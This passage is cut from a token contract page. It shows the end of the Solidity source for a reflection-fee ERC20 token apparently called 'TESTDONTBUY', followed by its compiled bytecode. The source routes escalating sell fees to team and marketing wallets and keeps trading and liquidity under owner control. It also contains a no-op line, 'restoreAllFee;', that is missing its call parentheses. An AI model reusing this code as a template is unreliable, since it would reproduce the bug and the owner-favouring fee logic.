setFee(sellnumber[from]);
}
}
bool takeFee = true;
if (_isExcludedFromFee[from] || _isExcludedFromFee[to]) {
takeFee = false;
}
_tokenTransfer(from, to, amount, takeFee);
restoreAllFee;
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(tokenAmount, 0, path, address(this), block.timestamp);
}
function sendETHToFee(uint256 amount) private {
_teamAddress.transfer(amount.div(2));
_marketingFunds.transfer(amount.div(2));
}
function openTrading() public onlyOwner {
require(liquidityAdded);
tradingOpen = true;
}
function addLiquidity() external onlyOwner() {
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
swapEnabled = true;
cooldownEnabled = true;
liquidityAdded = true;
_maxTxAmount = 3000000000 * 10**9;
IERC20(uniswapV2Pair).approve(address(uniswapV2Router),type(uint256).max);
}
function manualswap() external {
require(_msgSender() == _teamAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _teamAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function _tokenTransfer(address sender, address recipient, uint256 amount, bool takeFee) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _taxFee, _teamFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 teamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(teamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() {
require(maxTxPercent > 0, "Amount must be greater than 0");
_maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2);
emit MaxTxAmountUpdated(_maxTxAmount);
}
}
|
0x6080604052600436106101025760003560e01c8063715018a611610095578063c3c8cd8011610064578063c3c8cd8014610330578063c9567bf914610347578063d543dbeb1461035e578063dd62ed3e14610387578063e8078d94146103c457610109565b8063715018a6146102865780638da5cb5b1461029d57806395d89b41146102c8578063a9059cbb146102f357610109565b8063313ce567116100d1578063313ce567146101de5780635932ead1146102095780636fc3eaec1461023257806370a082311461024957610109565b806306fdde031461010e578063095ea7b31461013957806318160ddd1461017657806323b872dd146101a157610109565b3661010957005b600080fd5b34801561011a57600080fd5b506101236103db565b6040516101309190613213565b60405180910390f35b34801561014557600080fd5b50610160600480360381019061015b9190612d9a565b610418565b60405161016d91906131f8565b60405180910390f35b34801561018257600080fd5b5061018b610436565b6040516101989190613395565b60405180910390f35b3480156101ad57600080fd5b506101c860048036038101906101c39190612d4b565b610447565b6040516101d591906131f8565b60405180910390f35b3480156101ea57600080fd5b506101f3610520565b604051610200919061340a565b60405180910390f35b34801561021557600080fd5b50610230600480360381019061022b9190612dd6565b610529565b005b34801561023e57600080fd5b506102476105db565b005b34801561025557600080fd5b50610270600480360381019061026b9190612cbd565b61064d565b60405161027d9190613395565b60405180910390f35b34801561029257600080fd5b5061029b61069e565b005b3480156102a957600080fd5b506102b26107f1565b6040516102bf919061312a565b60405180910390f35b3480156102d457600080fd5b506102dd61081a565b6040516102ea9190613213565b60405180910390f35b3480156102ff57600080fd5b5061031a60048036038101906103159190612d9a565b610857565b60405161032791906131f8565b60405180910390f35b34801561033c57600080fd5b50610345610875565b005b34801561035357600080fd5b5061035c6108ef565b005b34801561036a57600080fd5b5061038560048036038101906103809190612e28565b6109ba565b005b34801561039357600080fd5b506103ae60048036038101906103a99190612d0f565b610b03565b6040516103bb9190613395565b60405180910390f35b3480156103d057600080fd5b506103d9610b8a565b005b60606040518060400160405280600b81526020017f54455354444f4e54425559000000000000000000000000000000000000000000815250905090565b600061042c610425611096565b848461109e565b6001905092915050565b6000683635c9adc5dea00000905090565b6000610454848484611269565b61051584610460611096565b610510856040518060600160405280602881526020016139f460289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006104c6611096565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546120399092919063ffffffff16565b61109e565b600190509392505050565b60006009905090565b610531611096565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146105be576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105b5906132f5565b60405180910390fd5b80601260186101000a81548160ff02191690831515021790555050565b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661061c611096565b73ffffffffffffffffffffffffffffffffffffffff161461063c57600080fd5b600047905061064a8161209d565b50565b6000610697600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612198565b9050919050565b6106a6611096565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610733576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161072a906132f5565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600381526020017f5444420000000000000000000000000000000000000000000000000000000000815250905090565b600061086b610864611096565b8484611269565b6001905092915050565b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108b6611096565b73ffffffffffffffffffffffffffffffffffffffff16146108d657600080fd5b60006108e13061064d565b90506108ec81612206565b50565b6108f7611096565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610984576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161097b906132f5565b60405180910390fd5b601260159054906101000a900460ff1661099d57600080fd5b6001601260146101000a81548160ff021916908315150217905550565b6109c2611096565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a4f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a46906132f5565b60405180910390fd5b60008111610a92576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a89906132b5565b60405180910390fd5b610ac16064610ab383683635c9adc5dea0000061250090919063ffffffff16565b61257b90919063ffffffff16565b6013819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf601354604051610af89190613395565b60405180910390a150565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b610b92611096565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c1f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c16906132f5565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080601160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610caf30601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16683635c9adc5dea0000061109e565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610cf557600080fd5b505afa158015610d09573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d2d9190612ce6565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610d8f57600080fd5b505afa158015610da3573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610dc79190612ce6565b6040518363ffffffff1660e01b8152600401610de4929190613145565b602060405180830381600087803b158015610dfe57600080fd5b505af1158015610e12573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e369190612ce6565b601260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610ebf3061064d565b600080610eca6107f1565b426040518863ffffffff1660e01b8152600401610eec96959493929190613197565b6060604051808303818588803b158015610f0557600080fd5b505af1158015610f19573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610f3e9190612e51565b5050506001601260176101000a81548160ff0219169083151502179055506001601260186101000a81548160ff0219169083151502179055506001601260156101000a81548160ff0219169083151502179055506729a2241af62c0000601381905550601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b815260040161104092919061316e565b602060405180830381600087803b15801561105a57600080fd5b505af115801561106e573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110929190612dff565b5050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561110e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161110590613355565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561117e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161117590613275565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161125c9190613395565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156112d9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112d090613335565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611349576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161134090613235565b60405180910390fd5b6000811161138c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161138390613315565b60405180910390fd5b6113946107f1565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561140257506113d26107f1565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611f7657601260189054906101000a900460ff1615611635573073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561148457503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156114de5750601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156115385750601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561163457601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661157e611096565b73ffffffffffffffffffffffffffffffffffffffff1614806115f45750601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166115dc611096565b73ffffffffffffffffffffffffffffffffffffffff16145b611633576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161162a90613375565b60405180910390fd5b5b5b600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156116d95750600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b6116e257600080fd5b601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614801561178d5750601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156117e35750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156117fb5750601260189054906101000a900460ff165b156118d457601260149054906101000a900460ff1661181957600080fd5b60135481111561182857600080fd5b42600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541061187357600080fd5b601e42611880919061347a565b600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600660098190555060026008819055505b60006118df3061064d565b9050601260169054906101000a900460ff1615801561194c5750601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b80156119645750601260179054906101000a900460ff165b15611f74576119ba60646119ac600361199e601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1661064d565b61250090919063ffffffff16565b61257b90919063ffffffff16565b82111580156119cb57506013548211155b6119d457600080fd5b42600c60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410611a1f57600080fd5b4262015180600d60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a6e919061347a565b1015611aba576000600e60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b6000600e60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541415611bf157600e60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000815480929190611b5290613629565b919050555042600d60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610e1042611ba9919061347a565b600c60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611f09565b6001600e60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541415611ce457600e60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000815480929190611c8990613629565b9190505550611c2042611c9c919061347a565b600c60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611f08565b6002600e60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541415611dd757600e60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000815480929190611d7c90613629565b919050555061546042611d8f919061347a565b600c60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611f07565b6003600e60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541415611f0657600e60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000815480929190611e6f90613629565b919050555062015180600d60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611ec2919061347a565b600c60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b5b5b5b611f1281612206565b60004790506000811115611f2a57611f294761209d565b5b611f72600e60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546125c5565b505b505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff168061201d5750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b1561202757600090505b612033848484846125ee565b50505050565b6000838311158290612081576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016120789190613213565b60405180910390fd5b5060008385612090919061355b565b9050809150509392505050565b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc6120ed60028461257b90919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015612118573d6000803e3d6000fd5b50601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc61216960028461257b90919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015612194573d6000803e3d6000fd5b5050565b60006006548211156121df576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016121d690613255565b60405180910390fd5b60006121e961262d565b90506121fe818461257b90919063ffffffff16565b915050919050565b6001601260166101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115612264577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6040519080825280602002602001820160405280156122925781602001602082028036833780820191505090505b50905030816000815181106122d0577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561237257600080fd5b505afa158015612386573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906123aa9190612ce6565b816001815181106123e4577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061244b30601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff168461109e565b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b81526004016124af9594939291906133b0565b600060405180830381600087803b1580156124c957600080fd5b505af11580156124dd573d6000803e3d6000fd5b50505050506000601260166101000a81548160ff02191690831515021790555050565b6000808314156125135760009050612575565b600082846125219190613501565b905082848261253091906134d0565b14612570576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612567906132d5565b60405180910390fd5b809150505b92915050565b60006125bd83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612658565b905092915050565b806008546125d39190613501565b60088190555060018111156125eb57600a6009819055505b50565b806125fc576125fb6126bb565b5b6126078484846126ec565b806126155761261461261b565b5b50505050565b60076008819055506005600981905550565b600080600061263a6128b7565b91509150612651818361257b90919063ffffffff16565b9250505090565b6000808311829061269f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016126969190613213565b60405180910390fd5b50600083856126ae91906134d0565b9050809150509392505050565b60006008541480156126cf57506000600954145b156126d9576126ea565b600060088190555060006009819055505b565b6000806000806000806126fe87612919565b95509550955095509550955061275c86600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461298190919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506127f185600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546129cb90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061283d81612a29565b6128478483612ae6565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516128a49190613395565b60405180910390a3505050505050505050565b600080600060065490506000683635c9adc5dea0000090506128ed683635c9adc5dea0000060065461257b90919063ffffffff16565b82101561290c57600654683635c9adc5dea00000935093505050612915565b81819350935050505b9091565b60008060008060008060008060006129368a600854600954612b20565b925092509250600061294661262d565b905060008060006129598e878787612bb6565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b60006129c383836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250612039565b905092915050565b60008082846129da919061347a565b905083811015612a1f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612a1690613295565b60405180910390fd5b8091505092915050565b6000612a3361262d565b90506000612a4a828461250090919063ffffffff16565b9050612a9e81600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546129cb90919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b612afb8260065461298190919063ffffffff16565b600681905550612b16816007546129cb90919063ffffffff16565b6007819055505050565b600080600080612b4c6064612b3e888a61250090919063ffffffff16565b61257b90919063ffffffff16565b90506000612b766064612b68888b61250090919063ffffffff16565b61257b90919063ffffffff16565b90506000612b9f82612b91858c61298190919063ffffffff16565b61298190919063ffffffff16565b905080838395509550955050505093509350939050565b600080600080612bcf858961250090919063ffffffff16565b90506000612be6868961250090919063ffffffff16565b90506000612bfd878961250090919063ffffffff16565b90506000612c2682612c18858761298190919063ffffffff16565b61298190919063ffffffff16565b9050838184965096509650505050509450945094915050565b600081359050612c4e816139ae565b92915050565b600081519050612c63816139ae565b92915050565b600081359050612c78816139c5565b92915050565b600081519050612c8d816139c5565b92915050565b600081359050612ca2816139dc565b92915050565b600081519050612cb7816139dc565b92915050565b600060208284031215612ccf57600080fd5b6000612cdd84828501612c3f565b91505092915050565b600060208284031215612cf857600080fd5b6000612d0684828501612c54565b91505092915050565b60008060408385031215612d2257600080fd5b6000612d3085828601612c3f565b9250506020612d4185828601612c3f565b9150509250929050565b600080600060608486031215612d6057600080fd5b6000612d6e86828701612c3f565b9350506020612d7f86828701612c3f565b9250506040612d9086828701612c93565b9150509250925092565b60008060408385031215612dad57600080fd5b6000612dbb85828601612c3f565b9250506020612dcc85828601612c93565b9150509250929050565b600060208284031215612de857600080fd5b6000612df684828501612c69565b91505092915050565b600060208284031215612e1157600080fd5b6000612e1f84828501612c7e565b91505092915050565b600060208284031215612e3a57600080fd5b6000612e4884828501612c93565b91505092915050565b600080600060608486031215612e6657600080fd5b6000612e7486828701612ca8565b9350506020612e8586828701612ca8565b9250506040612e9686828701612ca8565b9150509250925092565b6000612eac8383612eb8565b60208301905092915050565b612ec18161358f565b82525050565b612ed08161358f565b82525050565b6000612ee182613435565b612eeb8185613458565b9350612ef683613425565b8060005b83811015612f27578151612f0e8882612ea0565b9750612f198361344b565b925050600181019050612efa565b5085935050505092915050565b612f3d816135a1565b82525050565b612f4c816135e4565b82525050565b6000612f5d82613440565b612f678185613469565b9350612f778185602086016135f6565b612f80816136d0565b840191505092915050565b6000612f98602383613469565b9150612fa3826136e1565b604082019050919050565b6000612fbb602a83613469565b9150612fc682613730565b604082019050919050565b6000612fde602283613469565b9150612fe98261377f565b604082019050919050565b6000613001601b83613469565b915061300c826137ce565b602082019050919050565b6000613024601d83613469565b915061302f826137f7565b602082019050919050565b6000613047602183613469565b915061305282613820565b604082019050919050565b600061306a602083613469565b91506130758261386f565b602082019050919050565b600061308d602983613469565b915061309882613898565b604082019050919050565b60006130b0602583613469565b91506130bb826138e7565b604082019050919050565b60006130d3602483613469565b91506130de82613936565b604082019050919050565b60006130f6601183613469565b915061310182613985565b602082019050919050565b613115816135cd565b82525050565b613124816135d7565b82525050565b600060208201905061313f6000830184612ec7565b92915050565b600060408201905061315a6000830185612ec7565b6131676020830184612ec7565b9392505050565b60006040820190506131836000830185612ec7565b613190602083018461310c565b9392505050565b600060c0820190506131ac6000830189612ec7565b6131b9602083018861310c565b6131c66040830187612f43565b6131d36060830186612f43565b6131e06080830185612ec7565b6131ed60a083018461310c565b979650505050505050565b600060208201905061320d6000830184612f34565b92915050565b6000602082019050818103600083015261322d8184612f52565b905092915050565b6000602082019050818103600083015261324e81612f8b565b9050919050565b6000602082019050818103600083015261326e81612fae565b9050919050565b6000602082019050818103600083015261328e81612fd1565b9050919050565b600060208201905081810360008301526132ae81612ff4565b9050919050565b600060208201905081810360008301526132ce81613017565b9050919050565b600060208201905081810360008301526132ee8161303a565b9050919050565b6000602082019050818103600083015261330e8161305d565b9050919050565b6000602082019050818103600083015261332e81613080565b9050919050565b6000602082019050818103600083015261334e816130a3565b9050919050565b6000602082019050818103600083015261336e816130c6565b9050919050565b6000602082019050818103600083015261338e816130e9565b9050919050565b60006020820190506133aa600083018461310c565b92915050565b600060a0820190506133c5600083018861310c565b6133d26020830187612f43565b81810360408301526133e48186612ed6565b90506133f36060830185612ec7565b613400608083018461310c565b9695505050505050565b600060208201905061341f600083018461311b565b92915050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b6000613485826135cd565b9150613490836135cd565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156134c5576134c4613672565b5b828201905092915050565b60006134db826135cd565b91506134e6836135cd565b9250826134f6576134f56136a1565b5b828204905092915050565b600061350c826135cd565b9150613517836135cd565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156135505761354f613672565b5b828202905092915050565b6000613566826135cd565b9150613571836135cd565b92508282101561358457613583613672565b5b828203905092915050565b600061359a826135ad565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60006135ef826135cd565b9050919050565b60005b838110156136145780820151818401526020810190506135f9565b83811115613623576000848401525b50505050565b6000613634826135cd565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82141561366757613666613672565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602